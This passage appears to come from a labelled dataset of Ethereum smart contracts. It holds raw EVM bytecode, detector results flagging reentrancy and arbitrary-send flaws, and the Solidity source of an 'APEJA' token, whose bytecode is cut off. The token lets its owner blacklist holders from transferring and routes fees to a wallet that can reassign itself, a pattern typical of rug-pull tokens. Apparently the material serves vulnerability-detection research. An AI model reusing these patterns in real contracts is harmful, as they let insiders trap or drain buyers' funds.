546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611dc0565b653691d6afc00081116108d157600080fd5b601555565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161064a90611dc0565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610965573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109899190611e3c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa9190611e3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611e3c565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab85760405162461bcd60e51b815260040161064a90611dc0565b601454600160a01b900460ff1615610acf57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b175760405162461bcd60e51b815260040161064a90611dc0565b601755565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161064a90611dc0565b60095482111580610b595750600b548111155b610b6257600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e97565b6012546001600160a01b0316336001600160a01b031614610ba357600080fd5b6000610bae306107ff565b90506107fc8161147c565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161064a90611dc0565b60005b82811015610c54578160056000868685818110610c0557610c05611df5565b9050602002016020810190610c1a9190611c70565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4c81611e21565b915050610be6565b50505050565b6000546001600160a01b03163314610c845760405162461bcd60e51b815260040161064a90611dc0565b601655565b6000546001600160a01b03163314610cb35760405162461bcd60e51b815260040161064a90611dc0565b6001600160a01b038116610d185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610feb57506000546001600160a01b03838116911614155b1561127d57601454600160a01b900460ff16611084576000546001600160a01b038481169116146110845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064a565b6015548111156110d65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064a565b6001600160a01b03831660009081526010602052604090205460ff1615801561111857506001600160a01b03821660009081526010602052604090205460ff16155b6111705760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161064a565b6014546001600160a01b038381169116146111a65760165481611192846107ff565b61119c9190611e59565b106111a657600080fd5b60006111b1306107ff565b6017546015549192508210159082106111ca5760155491505b8080156111e15750601454600160a81b900460ff16155b80156111fb57506014546001600160a01b03868116911614155b80156112105750601454600160b01b900460ff165b801561123557506001600160a01b03851660009081526005602052604090205460ff16155b801561125a57506001600160a01b03841660009081526005602052604090205460ff16155b1561127a576112688261147c565b47801561127857611278476113be565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112bf57506001600160a01b03831660009081526005602052604090205460ff165b806112f157506014546001600160a01b038581169116148015906112f157506014546001600160a01b03848116911614155b156112fe57506000611378565b6014546001600160a01b03858116911614801561132957506013546001600160a01b03848116911614155b1561133b57600854600c55600954600d555b6014546001600160a01b03848116911614801561136657506013546001600160a01b03858116911614155b1561137857600a54600c55600b54600d555b610c54848484846115f6565b600081848411156113a85760405162461bcd60e51b815260040161064a9190611bae565b5060006113b58486611e71565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b600060065482111561145f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b6000611469611624565b90506114758382611647565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c4576114c4611df5565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115419190611e3c565b8160018151811061155457611554611df5565b6001600160a01b03928316602091820292909201015260135461157a9130911684610d73565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b3908590600090869030904290600401611e88565b600060405180830381600087803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061160357611603611689565b61160e8484846116b7565b80610c5457610c54600e54600c55600f54600d55565b60008060006116316117ae565b90925090506116408282611647565b9250505090565b600061147583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f0565b600c541580156116995750600d54155b156116a057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c98761181e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fb908761187b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172a90866118bd565b6001600160a01b03891660009081526002602052604090205561174c8161191c565b6117568483611966565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117ca8282611647565b8210156117e757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118115760405162461bcd60e51b815260040161064a9190611bae565b5060006113b58486611ef9565b600080600080600080600080600061183b8a600c54600d5461198a565b925092509250600061184b611624565b9050600080600061185e8e8787876119df565b919e509c509a509598509396509194505050505091939550919395565b600061147583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611384565b6000806118ca8385611e59565b9050838110156114755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611926611624565b905060006119348383611a2f565b3060009081526002602052604090205490915061195190826118bd565b30600090815260026020526040902055505050565b600654611973908361187b565b60065560075461198390826118bd565b6007555050565b60008080806119a4606461199e8989611a2f565b90611647565b905060006119b7606461199e8a89611a2f565b905060006119cf826119c98b8661187b565b9061187b565b9992985090965090945050505050565b60008080806119ee8886611a2f565b905060006119fc8887611a2f565b90506000611a0a8888611a2f565b90506000611a1c826119c9868661187b565b939b939a50919850919650505050505050565b600082611a3e575060006106d0565b6000611a4a8385611f1b565b905082611a578583611ef9565b146114755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611ae481611ac4565b919050565b60006020808385031215611afc57600080fd5b823567ffffffffffffffff80821115611b1457600080fd5b818501915085601f830112611b2857600080fd5b813581811115611b3a57611b3a611aae565b8060051b604051601f19603f83011681018181108582111715611b5f57611b5f611aae565b604052918252848201925083810185019188831115611b7d57600080fd5b938501935b82851015611ba257611b9385611ad9565b84529385019392850192611b82565b98975050505050505050565b600060208083528351808285015260005b81811015611bdb57858101830151858201604001528201611bbf565b81811115611bed576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1657600080fd5b8235611c2181611ac4565b946020939093013593505050565b600080600060608486031215611c4457600080fd5b8335611c4f81611ac4565b92506020840135611c5f81611ac4565b929592945050506040919091013590565b600060208284031215611c8257600080fd5b813561147581611ac4565b80358015158114611ae457600080fd5b600060208284031215611caf57600080fd5b61147582611c8d565b600060208284031215611cca57600080fd5b5035919050565b60008060008060808587031215611ce757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1857600080fd5b833567ffffffffffffffff80821115611d3057600080fd5b818601915086601f830112611d4457600080fd5b813581811115611d5357600080fd5b8760208260051b8501011115611d6857600080fd5b602092830195509350611d7e9186019050611c8d565b90509250925092565b60008060408385031215611d9a57600080fd5b8235611da581611ac4565b91506020830135611db581611ac4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3557611e35611e0b565b5060010190565b600060208284031215611e4e57600080fd5b815161147581611ac4565b60008219821115611e6c57611e6c611e0b565b500190565b600082821015611e8357611e83611e0b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed85784516001600160a01b031683529383019391830191600101611eb3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3557611f35611e0b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014c659ce1984fd4048fce16795a6b6b374dd555b6e953099bc88261b7de6758a64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,912 |
0xd71574999fde819d1245ce588d0e30d5d34b0233 | //SPDX-License-Identifier: UNLICENSED
/*
Telegram: https://t.me/apejaeth
█████ ██████ ███████ ██ █████
██ ██ ██ ██ ██ ██ ██ ██
███████ ██████ █████ ██ ███████
██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ███████ █████ ██ ██
Telegram: https://t.me/apejaeth
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract APEJA is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Apeja";
string public constant symbol = unicode"APEJA";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (4 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function StartContract() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function StartTrade() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063b2289c6211610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063f7c58b8e146105ea57600080fd5b8063b2289c6214610505578063b2c5fa5f14610525578063b515566a1461053a578063c3c8cd801461055a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047657806394b8d8f21461049457806395d89b41146104b4578063a9059cbb146104e557600080fd5b80636fc3eaec1461040c57806370a0823114610421578063715018a61461044157806373f54a111461045657600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038857806345596e2e1461039e57806349bd5a5e146103be578063590f897e146103f657600080fd5b8063313ce567146102f257806331c2d8471461031957806332d873d8146103395780633bbac5791461034f57600080fd5b806318160ddd116101b657806318160ddd146102815780631940d020146102a757806323b872dd146102bd57806327f3a72a146102dd57600080fd5b806306fdde03146101e8578063095ea7b31461022f5780630b78f9c01461025f57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50610219604051806040016040528060058152602001644170656a6160d81b81525081565b6040516102269190611789565b60405180910390f35b34801561023b57600080fd5b5061024f61024a366004611803565b6105ff565b6040519015158152602001610226565b34801561026b57600080fd5b5061027f61027a36600461182f565b610615565b005b34801561028d57600080fd5b50683635c9adc5dea000005b604051908152602001610226565b3480156102b357600080fd5b50610299600c5481565b3480156102c957600080fd5b5061024f6102d8366004611851565b6106aa565b3480156102e957600080fd5b506102996106fe565b3480156102fe57600080fd5b50610307600981565b60405160ff9091168152602001610226565b34801561032557600080fd5b5061027f6103343660046118a8565b61070e565b34801561034557600080fd5b50610299600d5481565b34801561035b57600080fd5b5061024f61036a36600461196d565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039457600080fd5b5061029960095481565b3480156103aa57600080fd5b5061027f6103b936600461198a565b61079a565b3480156103ca57600080fd5b506008546103de906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b34801561040257600080fd5b50610299600a5481565b34801561041857600080fd5b5061027f610860565b34801561042d57600080fd5b5061029961043c36600461196d565b61086d565b34801561044d57600080fd5b5061027f610888565b34801561046257600080fd5b5061027f61047136600461196d565b6108fc565b34801561048257600080fd5b506000546001600160a01b03166103de565b3480156104a057600080fd5b50600e5461024f9062010000900460ff1681565b3480156104c057600080fd5b50610219604051806040016040528060058152602001644150454a4160d81b81525081565b3480156104f157600080fd5b5061024f610500366004611803565b61096a565b34801561051157600080fd5b506007546103de906001600160a01b031681565b34801561053157600080fd5b5061027f610977565b34801561054657600080fd5b5061027f6105553660046118a8565b610b6b565b34801561056657600080fd5b5061027f610c84565b34801561057b57600080fd5b50610299610c9a565b34801561059057600080fd5b5061027f61059f3660046119b1565b610cb2565b3480156105b057600080fd5b506102996105bf3660046119ce565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027f610d2f565b600061060c338484610f34565b50600192915050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161063f90611a07565b60405180910390fd5b6009548210801561065a5750600a5481105b61066357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b7848484611058565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e6908490611a52565b90506106f3853383610f34565b506001949350505050565b60006107093061086d565b905090565b6007546001600160a01b0316336001600160a01b03161461072e57600080fd5b60005b81518110156107965760006005600084848151811061075257610752611a69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078e81611a7f565b915050610731565b5050565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161063f90611a07565b6007546001600160a01b0316336001600160a01b0316146107e457600080fd5b600081116108245760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161063f565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761086a81611426565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161063f90611a07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461091c57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610855565b600061060c338484611058565b6000546001600160a01b031633146109a15760405162461bcd60e51b815260040161063f90611a07565b600e5460ff16156109ee5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b600654610a0f9030906001600160a01b0316683635c9adc5dea00000610f34565b6006546001600160a01b031663f305d7194730610a2b8161086d565b600080610a406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610acd9190611a9a565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4a9190611ac8565b50600e805460ff1916600117905542600d556801158e460913d00000600c55565b6000546001600160a01b03163314610b955760405162461bcd60e51b815260040161063f90611a07565b60005b81518110156107965760085482516001600160a01b0390911690839083908110610bc457610bc4611a69565b60200260200101516001600160a01b031614158015610c15575060065482516001600160a01b0390911690839083908110610c0157610c01611a69565b60200260200101516001600160a01b031614155b15610c7257600160056000848481518110610c3257610c32611a69565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c7c81611a7f565b915050610b98565b6000610c8f3061086d565b905061086a81611460565b600854600090610709906001600160a01b031661086d565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161063f90611a07565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610855565b6000546001600160a01b03163314610d595760405162461bcd60e51b815260040161063f90611a07565b600e5460ff1615610da65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2f9190611ae5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea09190611ae5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f119190611ae5565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063f565b6001600160a01b038216610ff75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561107e57600080fd5b6001600160a01b0383166110e25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063f565b6001600160a01b0382166111445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063f565b600081116111a65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063f565b600080546001600160a01b038581169116148015906111d357506000546001600160a01b03848116911614155b156113c7576008546001600160a01b03858116911614801561120357506006546001600160a01b03848116911614155b801561122857506001600160a01b03831660009081526004602052604090205460ff16155b156112ba57600e5460ff1661127f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161063f565b42600d5460f061128f9190611b02565b11156112b657600c546112a18461086d565b6112ab9084611b02565b11156112b657600080fd5b5060015b600e54610100900460ff161580156112d45750600e5460ff165b80156112ee57506008546001600160a01b03858116911614155b156113c75760006112fe3061086d565b905080156113b057600e5462010000900460ff161561138157600b5460085460649190611333906001600160a01b031661086d565b61133d9190611b1a565b6113479190611b39565b81111561138157600b546008546064919061136a906001600160a01b031661086d565b6113749190611b1a565b61137e9190611b39565b90505b600061138e600483611b39565b905061139a8183611a52565b91506113a5816115d4565b6113ae82611460565b505b4780156113c0576113c047611426565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061140957506001600160a01b03841660009081526004602052604090205460ff165b15611412575060005b61141f8585858486611604565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610796573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a4576114a4611a69565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115219190611ae5565b8160018151811061153457611534611a69565b6001600160a01b03928316602091820292909201015260065461155a9130911684610f34565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611593908590600090869030904290600401611b5b565b600060405180830381600087803b1580156115ad57600080fd5b505af11580156115c1573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115f6576115f63061dead83611058565b50600e805461ff0019169055565b60006116108383611626565b905061161e8686868461164a565b505050505050565b600080831561164357821561163e5750600954611643565b50600a545b9392505050565b6000806116578484611727565b6001600160a01b0388166000908152600260205260409020549193509150611680908590611a52565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116b0908390611b02565b6001600160a01b0386166000908152600260205260409020556116d28161175b565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4